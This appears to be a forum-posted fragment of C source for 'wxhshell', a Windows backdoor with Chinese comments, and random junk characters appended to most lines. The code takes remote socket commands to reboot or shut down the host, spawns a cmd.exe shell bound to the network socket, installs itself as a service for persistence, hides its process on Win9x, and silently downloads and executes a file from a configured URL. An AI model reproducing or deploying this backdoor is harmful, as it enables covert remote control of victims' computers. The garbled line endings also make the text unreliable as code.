  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1_]%,  
  } #yU"n-eLR  
  else { +(z[8BJl  
,U+>Q!$`\^  
    switch(cmd[0]) { J, +/<Y!  
  ~O!E&~  
  // 帮助 -v|lM8  
  case '?': { Iz;^D!  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Q`Q"p  
    break; `*`ZgTV  
  } #l.s> B4  
  // 安装 OECVExb@eH  
  case 'i': { yu > ;m.e_  
    if(Install()) R9D2cu,{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fu\#:+5\  
    else j~>J?w9<O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R6:m@  
    break; ipt]qJFd  
    } 8Bh micU  
  // 卸载 hd[t&?{=  
  case 'r': { }odjaM}5Nc  
    if(Uninstall()) TDWD8??e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2+p XtP@O  
    else w>}n1Nc$G  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \OWxf[  
    break; Lxv_{~I*  
    } tw.z5  
  // 显示 wxhshell 所在路径 Uyeo0B"  
  case 'p': { wuXH'  
    char svExeFile[MAX_PATH]; B(6*U~Kn%  
    strcpy(svExeFile,"\n\r"); .|TF /b]  
      strcat(svExeFile,ExeFile); ZP&iy$<L  
        send(wsh,svExeFile,strlen(svExeFile),0); =NnG[#n%  
    break; sJl>evw  
    } Z:V<P,N  
  // 重启 $ 9E"{6;@  
  case 'b': { hx/A215L  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); b^()[4M;  
    if(Boot(REBOOT)) PL!dkaD^y>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BQeg-M  
    else { T!pZj_ h=  
    closesocket(wsh); 'aEN(Mdz1e  
    ExitThread(0); \_i22/Et  
    } BO6XY90(  
    break; e 0Z2B2  
    } D~`RLPMk  
  // 关机 kho0@o+'^  
  case 'd': { "gDk?w  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); JE*?O*&|Q  
    if(Boot(SHUTDOWN)) :<0lCj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wyAh%'V  
    else { p6)6Gcx  
    closesocket(wsh); npbf>n^R  
    ExitThread(0); ~DB:/VSmu  
    } wAzaxeV=  
    break; jIHY[yDT  
    } jZvIqR/  
  // 获取shell xgM\6e  
  case 's': { QA)"3g   
    CmdShell(wsh); nrXKS&6  
    closesocket(wsh); "GJ.`Hj  
    ExitThread(0); YB^m!A),I[  
    break; 6lkCLH  
  } 'P4V_VMK  
  // 退出 9i{(GO  
  case 'x': { :b_hF  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); pL>Yx>  
    CloseIt(wsh); z8)&ekG  
    break; 8= 82x  
    } !|9k&o  
  // 离开 %zDi|WZ  
  case 'q': { 6@FxPi9|#  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); k)8*d{*  
    closesocket(wsh); Yfs eX;VX  
    WSACleanup(); )|5mW  
    exit(1); <;jg/  
    break; 3vQVk  
        } m")p]B&i=  
  } 0Jd>V  
  } Z[,,(M  
h=n\c6Q  
  // 提示信息 -7J~^m2x  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o$7UWKW8  
} *TCV}=V G  
  } ="Az g8W  
<A`SC;k\u  
  return; &Wk:>9]Jrb  
} kKDf%=  
_. EM])b  
// shell模块句柄 pE0@m-p  
int CmdShell(SOCKET sock) E>2AG3)  
{ ?#nk}=;g8  
STARTUPINFO si; ~*~aFf5  
ZeroMemory(&si,sizeof(si)); [i> D|X  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Eq8:[o  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; E(f|LG[I  
PROCESS_INFORMATION ProcessInfo; gd]_OY7L  
char cmdline[]="cmd"; N f}ZG  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [<Mls@?  
  return 0; UF}Ji#fqn  
} ygK,t*T20  
W&3,XFnI_  
// 自身启动模式 GW7+#  
int StartFromService(void) X]\; f  
{ aqQ  U7  
typedef struct 0j}@lOt(  
{ (#qQ;ch  
  DWORD ExitStatus; 4CS$%Cu\?w  
  DWORD PebBaseAddress; 0fV}n:4Pq  
  DWORD AffinityMask; ?f!&M  
  DWORD BasePriority; e. E$Ej]w  
  ULONG UniqueProcessId; zcio\P=^|B  
  ULONG InheritedFromUniqueProcessId; ,.;{J|4P  
}   PROCESS_BASIC_INFORMATION; O >@Q>Z8W?  
^.*zBrFx  
PROCNTQSIP NtQueryInformationProcess; 8hSw4S "$  
7x*C` Et<x  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; p`!<yq2_  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; z$(`{ o%a  
*w6F0>u  
  HANDLE             hProcess; ^ 7)H;$  
  PROCESS_BASIC_INFORMATION pbi; Z]Cd>u  
IL?"g{w  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *fLVzYpo  
  if(NULL == hInst ) return 0; azRp4~2?  
S]4!uv^y  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); N,F[x0&?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); lt\Bm<"z!1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5)->.*G*  
X8~?uroq  
  if (!NtQueryInformationProcess) return 0; 3 [O+wVv  
f/m0,EERk  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); uw@-.N^  
  if(!hProcess) return 0; Q4g69IE  
FB3}M)G>M  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Q0g^%  
S2#@j#\  
  CloseHandle(hProcess); I:;umyRH  
? 0:=+%.  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); L3s"L.G  
if(hProcess==NULL) return 0; d9l2mJzW  
bu=RU  
HMODULE hMod; D&DbxTi  
char procName[255]; Sj v iH  
unsigned long cbNeeded;  e `K{  
+{%)}?F  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); R^INl@(O  
#K/95!)  
  CloseHandle(hProcess); ROO@EQ#`Z  
E+$D$a  
if(strstr(procName,"services")) return 1; // 以服务启动 vLGnLpt  
z]&?}o  
  return 0; // 注册表启动 {??bJRT  
} ^3QJv{)Q  
{9cjitl  
// 主模块 zT>BC}~.b  
int StartWxhshell(LPSTR lpCmdLine) lx> ."rW  
{ lnK#q .]  
  SOCKET wsl; .kB!',v\  
BOOL val=TRUE; /?V-  
  int port=0; $M$-c{>s  
  struct sockaddr_in door; I2,AT+O<  
v z&88jt  
  if(wscfg.ws_autoins) Install(); x]IJ;  
&7r a  
port=atoi(lpCmdLine); b&9~F6aM  
StiWa<"c  
if(port<=0) port=wscfg.ws_port; [n3@*)q's  
q w @g7  
  WSADATA data; U&#`5u6'j  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; RSnBG"  
mri g5{  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   B#3Q4c$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); thE9fr/  
  door.sin_family = AF_INET; d)d0,fi?-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); v[)8 1uY  
  door.sin_port = htons(port); b,>>E^wd!  
3u< ntx ><  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2q*wYuc  
closesocket(wsl); 3^-\=taN<m  
return 1; 7;pQ'FmZJ  
} b Rr3:"=sE  
F45-M[z  
  if(listen(wsl,2) == INVALID_SOCKET) { /<Z3x _c  
closesocket(wsl); Y8N+v+V/  
return 1; FuG;$';H75  
} {BgJ=0g?  
  Wxhshell(wsl); Mh {>#Gs  
  WSACleanup(); Eqh*"hE7  
T wzpq1  
return 0; ;d FJqo82  
%"WhD'*z}  
} \s!x;nw[  
pF(6M3>IN  
// 以NT服务方式启动 :>F3es`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9TwKd0AT$&  
{ I1I-,~hO  
DWORD   status = 0; <kWkc|z BY  
  DWORD   specificError = 0xfffffff; "=V!-+*@G@  
U2v;GIo$yU  
  serviceStatus.dwServiceType     = SERVICE_WIN32; A2 $05a$%  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; <j3|Mh_(I  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; eHR]qy 0_X  
  serviceStatus.dwWin32ExitCode     = 0; A4rkwM  
  serviceStatus.dwServiceSpecificExitCode = 0; u'T-}95 V  
  serviceStatus.dwCheckPoint       = 0; gdq6jz  
  serviceStatus.dwWaitHint       = 0; }_('3C,Ba  
&(e5*Q  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); cwzgIm+  
  if (hServiceStatusHandle==0) return; p7HLSB2Rp  
U+C ^"[B  
status = GetLastError(); :}-?X\|\  
  if (status!=NO_ERROR) {WQ6=wGpS  
{ vKfjP_0$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; NK'@.=$  
    serviceStatus.dwCheckPoint       = 0; Sh?eb  
    serviceStatus.dwWaitHint       = 0; qW'L}x  
    serviceStatus.dwWin32ExitCode     = status; )uMv]  
    serviceStatus.dwServiceSpecificExitCode = specificError; uBxoMxWm  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \ FJ ae  
    return; c _!!DEe7  
  } ?'tRu !~  
lD-2 5~YV  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^Ai QNL}  
  serviceStatus.dwCheckPoint       = 0; ! h92dH  
  serviceStatus.dwWaitHint       = 0; <0qhc$M  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); c((bUjS'=Y  
} B9%%jEH*  
dZI["FeO&d  
// 处理NT服务事件,比如:启动、停止 67 ~pn  
VOID WINAPI NTServiceHandler(DWORD fdwControl) pf%; *  
{ F^`+.G\  
switch(fdwControl) ?%Ww3cU+J  
{ X8-x$07)  
case SERVICE_CONTROL_STOP: ?~(#~3x  
  serviceStatus.dwWin32ExitCode = 0; @|bJMi  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; B2a#:E,6  
  serviceStatus.dwCheckPoint   = 0; s`0IyQXVU  
  serviceStatus.dwWaitHint     = 0; R/kJUl6HEl  
  { /lh1sHgD  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); WtaOf_  
  } `j!_tE`  
  return; y7%SHYC p[  
case SERVICE_CONTROL_PAUSE: gVI`&W__,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %QEyvl4  
  break; L]u^$=rI  
case SERVICE_CONTROL_CONTINUE: P}qpy\/(4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _:WNk(  
  break; l2}X\N&q  
case SERVICE_CONTROL_INTERROGATE: |\/\FK]?]  
  break; =8%*Rrj^  
}; 1N:~5S}s>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); i]L=M 5^C  
} iz{TSU  
`@v;QLD"d<  
// 标准应用程序主函数 DEt!/a{X  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }`%ks  
{ 57 Bx-  
;R Jv7@  
// 获取操作系统版本 k7;i^$@c  
OsIsNt=GetOsVer(); /wl]kGF  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }p?67y/  
<RZqs  
  // 从命令行安装 r| )45@  
  if(strpbrk(lpCmdLine,"iI")) Install(); ^FkB/j  
~P"Agpx3u  
  // 下载执行文件 RA;/ ?l  
if(wscfg.ws_downexe) { -sZb+2tDa  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Li"+`  
  WinExec(wscfg.ws_filenam,SW_HIDE); W&&|T;P<J  
} E^br-{|{  
';My"/ Z-  
if(!OsIsNt) { +6 =lN[b  
// 如果时win9x,隐藏进程并且设置为注册表启动 mfS}+_ C  
HideProc(); KfYU.Q  
StartWxhshell(lpCmdLine); q-ko)]  
} he:z9EG}  
else W$()W)   
  if(StartFromService()) NO@`*:.^Y  
  // 以服务方式启动 tf|;'Nc6  
  StartServiceCtrlDispatcher(DispatchTable); t|h c`|  
else Zq<j}vVJ  
  // 普通方式启动 0a^bAEP  
  StartWxhshell(lpCmdLine); |WEl5bNc3  
X!mJUDzh]  
return 0; u[Si=)`VPk  
}
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只看该作者 1 发表于: 2006-10-10
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